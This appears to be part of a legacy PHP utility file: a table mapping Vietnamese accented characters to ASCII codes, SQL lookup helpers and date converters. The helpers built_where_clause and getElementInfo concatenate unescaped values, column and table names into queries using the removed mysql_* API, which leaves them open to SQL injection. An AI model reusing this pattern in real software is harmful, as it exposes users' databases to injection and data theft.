    $arr_dest_char_code[133] = "ozzz1";
    $arr_sour_char_code[134] = chr(225) . chr(187) . chr(154);
    $arr_dest_char_code[134] = "ozzz2";
    $arr_sour_char_code[135] = chr(225) . chr(187) . chr(158);
    $arr_dest_char_code[135] = "ozzz3";
    $arr_sour_char_code[136] = chr(225) . chr(187) . chr(160);
    $arr_dest_char_code[136] = "ozzz4";
    $arr_sour_char_code[137] = chr(225) . chr(187) . chr(162);
    $arr_dest_char_code[137] = "ozzz5";

    $arr_sour_char_code[81] = chr(195) . chr(140);
    $arr_dest_char_code[81] = "iz1";
    $arr_sour_char_code[80] = chr(195) . chr(141);
    $arr_dest_char_code[80] = "iz2";
    $arr_sour_char_code[82] = chr(225) . chr(187) . chr(136);
    $arr_dest_char_code[82] = "iz3";
    $arr_sour_char_code[83] = chr(196) . chr(168);
    $arr_dest_char_code[83] = "iz4";
    $arr_sour_char_code[84] = chr(225) . chr(187) . chr(138);
    $arr_dest_char_code[84] = "iz5";
    $arr_sour_char_code[86] = chr(195) . chr(172);
    $arr_dest_char_code[86] = "iz1";
    $arr_sour_char_code[85] = chr(195) . chr(173);
    $arr_dest_char_code[85] = "iz2";
    $arr_sour_char_code[87] = chr(225) . chr(187) . chr(137);
    $arr_dest_char_code[87] = "iz3";
    $arr_sour_char_code[88] = chr(196) . chr(169);
    $arr_dest_char_code[88] = "iz4";
    $arr_sour_char_code[89] = chr(225) . chr(187) . chr(139);
    $arr_dest_char_code[89] = "iz5";
    $arr_sour_char_code[91] = chr(195) . chr(185);
    $arr_dest_char_code[91] = "uz1";
    $arr_sour_char_code[90] = chr(195) . chr(186);
    $arr_dest_char_code[90] = "uz2";
    $arr_sour_char_code[92] = chr(225) . chr(187) . chr(167);
    $arr_dest_char_code[92] = "uz3";
    $arr_sour_char_code[93] = chr(197) . chr(169);
    $arr_dest_char_code[93] = "uz4";
    $arr_sour_char_code[94] = chr(225) . chr(187) . chr(165);
    $arr_dest_char_code[94] = "uz5";
    $arr_sour_char_code[96] = chr(195) . chr(153);
    $arr_dest_char_code[96] = "uz1";
    $arr_sour_char_code[95] = chr(195) . chr(154);
    $arr_dest_char_code[95] = "uz2";
    $arr_sour_char_code[97] = chr(225) . chr(187) . chr(166);
    $arr_dest_char_code[97] = "uz3";
    $arr_sour_char_code[98] = chr(197) . chr(168);
    $arr_dest_char_code[98] = "uz4";
    $arr_sour_char_code[99] = chr(197) . chr(168);
    $arr_dest_char_code[99] = "uz4";
    $arr_sour_char_code[100] = chr(225) . chr(187) . chr(164);
    $arr_dest_char_code[100] = "uz";
    $arr_sour_char_code[101] = chr(198) . chr(176);
    $arr_dest_char_code[101] = "uzz";
    $arr_sour_char_code[103] = chr(225) . chr(187) . chr(171);
    $arr_dest_char_code[103] = "uzz1";
    $arr_sour_char_code[102] = chr(225) . chr(187) . chr(169);
    $arr_dest_char_code[102] = "uzz2";
    $arr_sour_char_code[104] = chr(225) . chr(187) . chr(173);
    $arr_dest_char_code[104] = "uzz3";
    $arr_sour_char_code[105] = chr(225) . chr(187) . chr(175);
    $arr_dest_char_code[105] = "uzz4";
    $arr_sour_char_code[106] = chr(225) . chr(187) . chr(177);
    $arr_dest_char_code[106] = "uzz5";
    $arr_sour_char_code[107] = chr(198) . chr(175);
    $arr_dest_char_code[107] = "uzz";
    $arr_sour_char_code[109] = chr(225) . chr(187) . chr(170);
    $arr_dest_char_code[109] = "uzz1";
    $arr_sour_char_code[108] = chr(225) . chr(187) . chr(168);
    $arr_dest_char_code[108] = "uzz2";
    $arr_sour_char_code[110] = chr(225) . chr(187) . chr(172);
    $arr_dest_char_code[110] = "uzz3";
    $arr_sour_char_code[111] = chr(225) . chr(187) . chr(172);
    $arr_dest_char_code[111] = "uzz4";
    $arr_sour_char_code[112] = chr(225) . chr(187) . chr(174);
    $arr_dest_char_code[112] = "uzz4";
    $arr_sour_char_code[113] = chr(225) . chr(187) . chr(176);
    $arr_dest_char_code[113] = "uzz5";
    $arr_sour_char_code[115] = chr(225) . chr(187) . chr(178);
    $arr_dest_char_code[115] = "yz1";
    $arr_sour_char_code[114] = chr(195) . chr(157);
    $arr_dest_char_code[114] = "yz2";
    $arr_sour_char_code[116] = chr(225) . chr(187) . chr(182);
    $arr_dest_char_code[116] = "yz3";
    $arr_sour_char_code[117] = chr(225) . chr(187) . chr(184);
    $arr_dest_char_code[117] = "yz4";
    $arr_sour_char_code[118] = chr(225) . chr(187) . chr(180);
    $arr_dest_char_code[118] = "yz5";
    $arr_sour_char_code[120] = chr(225) . chr(187) . chr(179);
    $arr_dest_char_code[120] = "yz1";
    $arr_sour_char_code[119] = chr(195) . chr(189);
    $arr_dest_char_code[119] = "yz2";
    $arr_sour_char_code[121] = chr(225) . chr(187) . chr(183);
    $arr_dest_char_code[121] = "yz3";
    $arr_sour_char_code[122] = chr(225) . chr(187) . chr(185);
    $arr_dest_char_code[122] = "yz4";
    $arr_sour_char_code[123] = chr(225) . chr(187) . chr(181);
    $arr_dest_char_code[123] = "yz5";
    $arr_sour_char_code[124] = chr(196) . chr(144);
    $arr_dest_char_code[124] = "dz";
    $arr_sour_char_code[125] = chr(196) . chr(145);
    $arr_dest_char_code[125] = "dz";
    $arr_sour_char_code[126] = chr(198) . chr(161);

    for ($i = 1; $i < 138; $i++) {
        $str = str_replace($arr_sour_char_code[$i], $arr_dest_char_code[$i], $str);
    }
    return($str);
}


function built_where_clause($p_col, $p_col_value, $p_table_name, $p_col_where) {
    $rs = mysql_query(" SELECT " . $p_col . " FROM " . $p_table_name . ' WHERE ' . $p_col_where . ' = "' . $p_col_value . '"') or die(mysql_error());
    $v_where_clause = ' AND ( 1 = 0 OR ' . $p_col . '= "' . $p_col_value . '" ';
    while ($arr = mysql_fetch_array($rs, MYSQL_NUM)) {
        $v_where_clause .= ' OR ' . $p_col . '= "' . $arr[0] . '" ';
    }
    $v_where_clause .= ') ';
    return $v_where_clause;
}

function getElementInfo($p_where_clause, $p_column, $p_table) {
    $rs = mysql_query(" SELECT " . $p_column . " FROM " . $p_table . ' WHERE 1 AND ' . $p_where_clause) or die(mysql_error());
    if ($arr = mysql_fetch_array($rs, MYSQL_NUM))
        return $arr[0];
    return '';
}

/**
 * Convert date (dd/mm/yyyy) to SQL date (yyyy-mm-dd)
 */
function convertDatetoSQLDate( $date ){
    $date_time = '';
    if ( $date ){
        $arr_date_time = explode(' ', $date);
        $string_date = $arr_date_time[0];
        $string_time = $arr_date_time[1];
        $arr_date = explode('/', $string_date);
        $date_time = $arr_date[2].'-'.$arr_date[1].'-'.$arr_date[0]
                .' '.$string_time;
    }
    return $date_time;
}

/**
 * Convert SQL date (yyyy-mm-dd) to date (dd/mm/yyyy)
 */
function convertSQLDatetoDate ( $date , $has_time = false ){
    if ( $date ){
        $date = str_replace('-', '/', $date);
        if ( $has_time )
            $date = date("d/m/Y H:i", strtotime($date));
        else
            $date = date("d/m/Y", strtotime($date));
        return $date;
    }
    return '';
}

?>